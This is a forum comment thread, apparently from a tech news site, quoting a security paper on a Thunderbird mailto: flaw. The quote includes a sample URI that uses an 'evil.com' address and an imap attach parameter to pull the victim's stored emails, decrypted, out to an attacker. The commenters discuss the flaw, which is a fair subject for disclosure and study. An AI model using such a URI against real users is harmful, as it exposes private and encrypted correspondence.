2 ms·
It's even worse. From the paper: 3) Access to IMAP Storage: Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored
by Tepix 6y ago
It's even worse. From the paper:
3) Access to IMAP Storage:
Thunderbird uses an adapted
version of the imap:// URI scheme to internally address
emails stored on IMAP folders. This allows an attacker to
include messages on the victim’s IMAP server (specified by
their UID) using an attach parameter, as shown in Listing 6.
mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1
Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.
Multiple emails can be attached by using multiple attach
parameters with different UIDs. By setting the UID from one
to the maximum number of stored messages, and including
all UIDs as attach parameters the whole mailbox of the
victim can be exfiltrated at once.
Even worse, all OpenPGP
and S/MIME encrypted emails in the attached email are
automatically decrypted by Thunderbird before sending them
back to the attacker.
Sheesh!
- upofadown 6y agoDecrypted messages should never be stored on the IMAP server. That is pretty much the whole thing here. It overtly defeats the PGP encrypt once scheme. In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
- boring_twenties 6y agoIt sounds like he's saying the client would fetch the messages, decrypt them, and attach the plaintext.
- gvjddbnvdrbv 6y agoSaving grace here might be that most mailboxes will be bigger than what can be sent in an email...